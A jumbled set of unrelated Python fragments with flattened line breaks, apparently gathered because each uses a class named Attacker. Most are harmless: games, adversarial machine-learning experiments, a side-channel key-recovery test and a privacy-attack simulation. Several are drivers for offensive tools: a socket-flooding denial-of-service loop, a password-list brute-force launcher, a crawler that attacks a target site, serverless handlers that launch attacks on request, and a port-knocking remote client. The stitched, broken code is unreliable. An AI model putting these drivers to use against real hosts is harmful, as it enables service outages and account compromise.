def attack(self): while True: # breaks after first if not infinite self.pending_sockets = self.create_n_sockets() self.attackers = [] Logger.info('Initializing connections and starting attack job') job = threading.Thread(target=self.attack_job, daemon=True) job.start() try: while len(self.pending_sockets): sock = self.pending_sockets.pop() try: sock.connect((self.host, self.port)) self.attackers.append( Attacker(sock, self.rqgen.payload(), self.options['chunk_size'])) except socket.error as ex: Logger.info( 'Cannot create connection to remote host: ' + str(ex)) self.stats['refused'] += 1 job.join() except KeyboardInterrupt: self.stopped = True Logger.log('Stopping attack...') self.print_stats() exit(0) if not self.options['infinite']: break self.print_stats()
def spawnEntities(self): for a in range(GLOBALS["attackeramount"]): self.attackers.append(Attacker(self.defender)) for a in self.attackers: self.layout.add_widget(a)
def main(args, save_dir): set_seed(333) # mode: [basetrain / advtrain / attack / generate] if args.mode == "basetrain" or args.mode == "advtrain": net = Trainer(args, save_dir) net.train(args.mode) elif args.mode == "attack": net = Attacker(args) net.run() elif args.mode == "generate": net = Generator(args) net.run() elif args.mode == "convert": net = Converter(args) net.run() elif args.mode == "split": net = Spliter(args) net.run() else: print('#### Please execute with mode: ex) --mode "basetrain"') print( "#### MODE: [basetrain / advtrain / attack / generate / converter / split]" )
def creat_attackers(game_settings, screen, attackers): """生成入侵者军队""" for row in range(3): for num in range(9): attacker = Attacker(game_settings, screen) attacker.rect.x = 55 * num + 10 attacker.rect.y = 50 * row + 50 attackers.add(attacker)
def main(plaintexts, traces): cpa_attacker = Attacker(plaintexts) skey = cpa_attacker.obtain_full_private_key(traces, only_first_byte=False) # Our AES key: # [43, 126, 21, 22, 40, 174, 210, 166, 171, 247, 21, 136, 9, 207, 79, 60] # print(f"First found subkey: {skey[0]}") print(f"Found full key: {skey}")
def start_gpu_thread(part_csv): args['datalist'] = part_csv attacker = Attacker(transform, img2tensor, args) img_pairs = pd.read_csv(args['datalist']) for idx in tqdm(img_pairs.index.values): pair_dict = {'source': img_pairs.loc[idx].source_imgs.split('|'), 'target': img_pairs.loc[idx].target_imgs.split('|')} attacker.attack_method = attacker.FoolBox attacker.attack(pair_dict)
def test_rappor(): rGenerator = secrets.SystemRandom() rappor = Rappor() attacker = Attacker() real_responses = [0] * num_choices noisy_responses = [0] * num_choices real_responses_per = [0] * num_choices estimated_responses_per = [0] * num_choices total_random = 0 random_guesses = 0 guesses_from_ones = 0 for x in range(num_providers): ''' Calculate the real response ''' if use_normal_dist: real_choice = int(round(normalvariate(normal_mean, nomal_dev), 0)) # some times ths gives values out of the range so fix that real_choice = min(num_choices - 1, real_choice) real_choice = max(0, real_choice) else: # real_choice = rGenerator.randrange(num_choices) real_choice = randrange(num_choices) real_responses[real_choice] += 1 ''' Calculate a response use RAPPOR ''' response = rappor.permanent_randomized_response( num_choices, real_choice) for y in range(num_choices): noisy_responses[y] += response[y] ''' Attack! ''' guessed = attacker.select_random(response) if (guessed == real_choice): random_guesses += 1 guessed = attacker.select_from_ones(response) if (guessed == real_choice): guesses_from_ones += 1 estimated_responses = rappor.estimate_responses(noisy_responses, num_providers) print("Percentages of responses") print("Real\t Estimated") for y in range(num_choices): real_responses_per = (real_responses[y] / num_providers) * 100 estimated_responses_per = estimated_responses[y] * 100 print("%.2f \t %.2f" % (real_responses_per, estimated_responses_per)) print("Guesses") print("Random \t From ones \t From weighted") print("%d \t %d \t %d" % (random_guesses, guesses_from_ones, guesses_from_weighted))
def __init__(self, config): self.config = config self.ckpt_dir = config.ckpt_dir if not os.path.exists(self.ckpt_dir): os.makedirs(self.ckpt_dir) self.save_config(config) self.timer = Timer() self.lr = config.lr self.datasets, self.loaders = get_loader(config.batch_size, config.aug, data=config.data) self.epochs = config.epochs self.start_epoch = 0 self.is_ode = 'resnet' not in self.config.model self.model = ModelSelector[config.model](**{ 'channel': config.channel, 'num_blocks': config.nb, 'strides': config.strides, 'solver': config.solver, 'adjoint': config.adj, 'tol': config.tol, 'num_classes': config.nc }) if self.config.use_gpu: self.model = nn.DataParallel(self.model).cuda() self.attacker = Attacker(self.model, self.loaders['test']) self.criterion = nn.CrossEntropyLoss() self.optimizer = optim.SGD(self.model.parameters(), lr=config.lr, momentum=0.9, weight_decay=config.wd) if config.resume: success = self.load(config.resume_path) if success: self.writer = SummaryWriter(log_dir=config.ckpt_dir, purge_step=self.start_epoch) else: self.writer = SummaryWriter(log_dir=config.ckpt_dir) logger.info(self.model) logger.info( f'Number of Total Params: {sum(p.numel() for p in self.model.parameters() if p.requires_grad)}' ) else: self.writer = SummaryWriter(log_dir=config.ckpt_dir) logger.info(self.model) logger.info( f'Number of Total Params: {sum(p.numel() for p in self.model.parameters() if p.requires_grad)}' )
def respawn(self, attacker): explosion = Explosion(attacker.x, attacker.y) self.explosions.append(explosion) self.layout.add_widget(explosion) Clock.schedule_once(lambda x: self.killExplosion(explosion), 0.5) self.attackers.remove(attacker) self.layout.remove_widget(attacker) new = Attacker(self.defender) self.attackers.append(new) self.layout.add_widget(new)
def get_attacker_lst(num): ''' Function get_attacker_lst Input: an integer Return: a list Does: creat an empty list, and add attacers to the list, the number of attackers based on the input integer. ''' attackers = [] for i in range(num): attackers.append(Attacker()) return attackers
def test_obtain_full_private_key(self): # Import power traces for which we know the used key. key = np.load(self.TEST_DATA_LOC + "key.npy") power_samples = np.load(self.TEST_DATA_LOC + "traces.npy")[:-1] plaintexts = np.load(self.TEST_DATA_LOC + "plain.npy") # Set up the attacker and find the private key as a list of bytes. attacker = Attacker(plaintexts) computed_key_bytes = attacker.obtain_full_private_key(power_samples) # "key.npy" is stored as an array of identical keys, so get key[0] known_key_bytes = key[0] self.assertEqual(list(known_key_bytes), computed_key_bytes)
def start_gpu_thread(part_csv, logdir): args['logdir'] = logdir args['datalist'] = part_csv if os.path.exists(args['logdir']): shutil.rmtree(args['logdir']) # exit(1) attacker = Attacker(transform, img2tensor, args) img_pairs = pd.read_csv(args['datalist']) for idx in tqdm(img_pairs.index.values): pair_dict = { 'source': img_pairs.loc[idx].source_imgs.split('|'), 'target': img_pairs.loc[idx].target_imgs.split('|') } attacker.attack_method = attacker.M_DI_2_FGSM attacker.attack(pair_dict)
def trainAndAttack(classifier=None, train_X=None, train_y=None, test_X=None, test_y=None): try: model_creator = Model(classifier=classifier) model_creator.fit_data(train_X, train_y) predictions = model_creator.predict(test_X) accuracy = accuracy_score(test_y, predictions) print("Accuracy for " + str(classifier) + " : " + str(accuracy)) attacker = Attacker() attacker.attack(X=test_X, y=test_y, model=model_creator) except Exception as e: print( "Exception in train and attack: ", e, )
def trainAndAttackRaw(classifier=None, train_X=None, train_y=None, audioPath=None): try: print("Imported data " + str(len(train_X)) + " and " + str(len(train_y))) testData = Data() test_X, test_y = testData.process(audioPath, attack=True, peak=True) model_creator = Model(classifier=classifier) print("Imported data " + str(len(train_X)) + " and " + str(len(train_y))) model_creator.fit_data(train_X, train_y) attacker = Attacker() attacker.attack(X=test_X, y=test_y, model=model_creator) except Exception as e: print("Exception in train and attack raw: ", e.__cause__) traceback.print_exc(file=sys.stdout)
def parse_wars(wars): """Check to see if an Attacker instance exists, update attacks and return dictionary of attackers. Args: wars (dict): dictionary of wars that are to be parsed {date: API Data} Return: dict: Attacker instances {Tag: Attacker Instance}. list: List of results from logged wars [[date, opponent, score]]. """ wars_logged = [] attackers = {} for war in sorted(wars): # print("Parsing War against {}".format(wars[war]["opponent"]["name"])) opponents = wars[war]["opponent"][ "members"] #clan data for the war opponent members = wars[war]["clan"][ "members"] #war data for clan stats being collected for opponent_th_levels = { opponent["tag"]: opponent["townhallLevel"] for opponent in opponents } """Creates a dictionary of opponent ids and townhall level {tag: th level}""" start_number = len( attackers ) #number of Attackers already in the dict to track attackers added. for member in members: """Loop through the members and either adds them to the dictionary or updates that attacks""" if member["tag"] in attackers: attackers[member["tag"]].add_war(member.get("attacks"), opponent_th_levels) else: attackers[member["tag"]] = Attacker(member, opponent_th_levels) # print("War against {} added {} attackers".format(wars[war]["opponent"]["name"], len(attackers)-start_number)) wars_logged.append([ war, wars[war]["opponent"]["name"], "{} - {}".format(wars[war]["clan"]["stars"], wars[war]["opponent"]["stars"]) ]) return attackers, wars_logged
def main(): config = ConfigParser.ConfigParser() config.read('setup.config') localIP = config.get('Attacker', 'localIP') localPort = config.get('Attacker', 'localPort') remoteIP = config.get('Attacker', 'remoteIP') remotePort = config.get('Attacker', 'remotePort') protocol = config.get('General', 'protocol') password = config.get('Encryption', 'password') knockList = config.get('General', 'knockList') filePort = config.get('General', 'filePort') ttl = config.get('General', 'ttl') print(localIP, localPort, remoteIP, remotePort, protocol, filePort) attacker = Attacker(localIP, localPort, filePort, remoteIP, remotePort, protocol, password, knockList, ttl) attacker.run()
def run_game(): # Initialize game and create screen object. pygame.init() ai_settings = Settings() screen = pygame.display.set_mode( (ai_settings.screen_width, ai_settings.screen_height)) pygame.display.set_caption("Football game") # Create an instance to store game statistics. stats = GameStats(ai_settings) # Make an attacker. attacker = Attacker(ai_settings, screen) # Make the initial ball initial_ball = Ball(ai_settings, screen, attacker) # Make a group of balls and a group of defender. balls = Group() defenders = Group() # Create the defense. gf.create_defense(ai_settings, screen, attacker, defenders) # Start the main loop for the game. while True: gf.check_events(ai_settings, screen, stats, attacker, initial_ball, balls) if stats.game_active: attacker.update() initial_ball.initial_update_ball(attacker) gf.update_balls(ai_settings, screen, stats, attacker, defenders, balls) gf.update_defenders(ai_settings, stats, screen, attacker, defenders, balls) gf.update_screen(ai_settings, screen, attacker, defenders, initial_ball, balls)
def __init__(self, master, data, callback=False, max_iterations_per_sub_problem=50): # The location of the master problem object is stored so constraints can be added directly as they are found. self.master = master # The data and parameters are stored as attributes. self.data = data self.callback = callback self.max_constraints_per_iteration = max_iterations_per_sub_problem self.constraints_added = False # If the sub-problems are run in extended mode then HIGH LOW track all suppressed cells not just the sensitive ones self.extended = False self.HIGH_LOW_cells = [] # A single Attacker object is created. This makes solving a lot more efficient self.attacker = Attacker(data) # Sort the sensitive cells based on the size of their UPL and LPL self.non_increasing_UPL_sensitive_cells = sorted( self.data["sensitive cells"].keys(), key=lambda x: self.data["sensitive cells"][x]["UPL"], reverse=True) self.non_increasing_LPL_sensitive_cells = sorted( self.data["sensitive cells"].keys(), key=lambda x: self.data["sensitive cells"][x]["LPL"], reverse=True) # The HIGH and LOW parameters are initiated to their nominal values. self.HIGH = self.default_nominal_dict() self.LOW = self.default_nominal_dict()
# session: reflects the session within a DB. It is deprecated. Just set it to ABC #user = User("WordpressX", 0, "http://localhost:8080/wp-login.php", login_data = {"log": "admin", "pwd": "admin"}, session="ABC") # Crawl without user session. Parameter desc: Name of DB - Privilege level - session user = User("Test", 0, session="ABC") url = "http://localhost/" # Creates the crawler config: URL: start url of the crawler(independent from login) - max_dept: how deep to crawl(link), max_click_depth: how deep to follow events - Crawlspeed: Fast is the best value here crawler_config = CrawlConfig("Some Name, doesn't matter", url, max_depth=1, max_click_depth=2, crawl_speed=CrawlSpeed.Fast) # From here you have nothing to chance. Except you want no attacking, then comment out the lines down logging.info("Crawler started...") database_manager = DatabaseManager(user, dropping=True) crawler = Crawler( crawl_config=crawler_config, database_manager=database_manager) #, proxy="localhost", port=8082) crawler.crawl(user) logging.info("Crawler finished") # If you want no attacking comment out the lines below. logging.info("Start attacking...") attack_config = AttackConfig(url) attacker = Attacker( attack_config, database_manager=database_manager) #, proxy="localhost", port=8082) attacker.attack(user) logging.info("Finish attacking...")
import os import sys import time import threading from constants import Constants from teleporter import Teleporter from healer import Healer from attacker import Attacker from buffer import Buffer from notifier import Notifier from kswarn import KSWarn teleporter = Teleporter() healer = Healer(teleporter) attacker = Attacker(teleporter) buffer = Buffer(teleporter) notifier = Notifier() kswarn = KSWarn(teleporter) threads = [ teleporter, healer, attacker, buffer, notifier, kswarn, ] #import psutil #pid = os.getpid()
pygame.init() # 초기화 pygame.display.set_caption('Hello, world!') # 창 제목 설정 displaysurf = pygame.display.set_mode((width, height), 0, 32) # 메인 디스플레이를 설정한다 clock = pygame.time.Clock() # 시간 설정 #gulimfont = pygame.font.SysFont('굴림', 70) # 서체 설정 #helloworld = gulimfont.render('Hello, world!', 1, black) # .render() 함수에 내용과 안티앨리어싱, 색을 전달하여 글자 이미지 생성 #helloworld = pygame.image.load('attack.png') #helloworld = pygame.transform.scale(helloworld, (50,50)) #hellorect = helloworld.get_rect() # 생성한 이미지의 rect 객체를 가져온다 #hellorect.center = (width / 2, height / 2) # 해당 rect의 중앙을 화면 중앙에 맞춘다 atkr = Attacker() atkr.set_image('attack.png', (50, 50)) atkr.set_pos((width / 2, height / 2)) gaga = Gagamel() gaga.set_image('2659980.png', (50, 50)) gaga.set_pos((width / 2, height / 2)) gaga.set_bound((width, height)) bullets = [] crashpos = (width, height) while True: # 아래의 코드를 무한 반복한다. displaysurf.fill(white) # displaysurf를 하얀색으로 채운다
def main(config): cudnn.benchmark = True if config.model_type not in ['LivDet2015']: print('ERROR!! model_type should be selected in LivDet2015') print('Your input for model_type was %s' % config.model_type) return if config.attack_type not in ['DE', 'FGSM', 'DeepFool']: print('ERROR!! model_type should be selected in DE,FGSM,DeepFool') print('Your input for attack_type was %s' % config.attack_type) return # Create directories if not exist if not os.path.exists(config.model_path): os.makedirs(config.model_path) if not os.path.exists(config.result_path): os.makedirs(config.result_path) config.result_path = os.path.join(config.result_path, config.model_type) if not os.path.exists(config.result_path): os.makedirs(config.result_path) ''' lr = random.random()*0.0005 + 0.0000005 augmentation_prob= random.random()*0.7 epoch = 200 decay_ratio = random.random()*0.8 decay_epoch = int(epoch*decay_ratio) config.augmentation_prob = augmentation_prob config.num_epochs = epoch #config.lr = lr config.num_epochs_decay = decay_epoch ''' print(config) train_loader = get_loader(image_path=config.test_path, image_size=config.image_size, batch_size=config.batch_size, num_workers=config.num_workers, mode='train', augmentation_prob=config.augmentation_prob) valid_loader = get_loader(image_path=config.valid_path, image_size=config.image_size, batch_size=config.batch_size, num_workers=config.num_workers, mode='valid', augmentation_prob=0.) test_loader = get_loader(image_path=config.test_path, image_size=config.image_size, batch_size=config.batch_size, num_workers=config.num_workers, mode='test', augmentation_prob=0.) attack_loader = get_loader(image_path=config.test_path, image_size=config.image_size, batch_size=1, num_workers=config.num_workers, mode='test', augmentation_prob=0.) # Train and sample the images if config.attack == 1: attacker = Attacker(config, attack_loader) attacker.train() elif config.attack == 0: solver = Solver(config, train_loader, valid_loader, test_loader) if config.mode == 'train': solver.train() elif config.mode == 'test': solver.test()
from args_parser import process_args_dict, console_get_args_dict from attacker import Attacker, Mode if __name__ == "__main__": # print(get_args()) args = process_args_dict(console_get_args_dict()) attacker = Attacker(*args) attacker.attack()
if args['username'] == None or args['passlist'] == None: parser.error('Not enough arguments: Missing username or passlist') # validate `args`: values # these are files. We validate them the same way file_args = ['passlist', 'saved_scan_file', 'config'] for key in args: if args[key] == None: continue if key in file_args: f = args[key] if not exists(f): parser.error('Could not open %s: No such file or directory.' % f) elif not isfile(f): parser.error('Could not open %s: Not a file.' % f) attacker = Attacker(args) attacker.start() try: attacker.block() print() except KeyboardInterrupt: print() print(' ==> Exiting... might take a while...') attacker.stop() attacker.block() print()
def tencent_run_api(event, context): logging.info('Tencent Serverless.') logging.info(context) args = process_args_dict(event['queryString']) attacker = Attacker(*args) attacker.attack()
def aliyun_run_test(event, context): logging.info('Aliyun Serverless.') logging.info(context) args = process_args_dict(json.loads(event)) attacker = Attacker(*args) attacker.attack()
glEnable(GL_BLEND) glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) # needed so that egi knows where to draw egi.InitWithPyglet(win) # prep the fps display fps_display = clock.ClockDisplay() # register key and mouse event handlers win.push_handlers(on_key_press) win.push_handlers(on_mouse_press) win.push_handlers(on_resize) # create a world for agents world = World(500, 500) # add one agent world.target = PractiseTarget(world) world.attacker = Attacker(world) # unpause the world ready for movement # print("Controls: A to add an agent, O to add an object to the map, C to reset objects on the map, P to pause, and I to show direction info.") world.paused = False while not win.has_exit: win.dispatch_events() glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT) # show nice FPS bottom right (default) delta = clock.tick() world.update(delta) world.render() fps_display.draw() # swap the double buffer win.flip()
def huawei_run_test(event, context): logging.info('Huawei Serverless.') logging.info(context) args = process_args_dict(event) attacker = Attacker(*args) attacker.attack()
def tencent_run_test(event, context): logging.info('Tencent Serverless.') logging.info(context) args = process_args_dict(event) attacker = Attacker(*args) attacker.attack()
parser.add_argument('--topk', type=int, default=3, help='employ the top k shapelets, maxima value is 5') parser.add_argument('--normalize', action='store_true', help='it is unnecessary in our project, we have ' 'normalized the data') parser.add_argument('--e', type=int, default=1499, help='epochs of model') opt = parser.parse_args() print(opt) os.makedirs('result_%s_%d_%s/%s/figures' % (str(opt.magnitude_factor), opt.topk, opt.model, opt.run_tag), exist_ok=True) data_path = 'data/' + opt.run_tag + '/' + opt.run_tag + '_unseen.txt' test_data = np.loadtxt(data_path) size = test_data.shape[0] idx_array = np.arange(size) attacker = Attacker(run_tag=opt.run_tag, top_k=opt.topk, e=opt.e, model_type=opt.model, cuda=opt.cuda, normalize=opt.normalize) # record of the running time start_time = time.time() # count the number of the successful instances, mse,iterations,queries success_cnt = 0 right_cnt = 0 total_mse = 0 total_iterations = 0 total_quries = 0 for idx in idx_array: print('###Start %s : generating adversarial example of the %d sample ###' % (opt.run_tag, idx)) attack_ts, info = attacker.attack(sample_idx=idx, target_class=opt.target_class, factor=opt.magnitude_factor, max_iteration=opt.maxitr, popsize=opt.popsize) # only save the successful adversarial example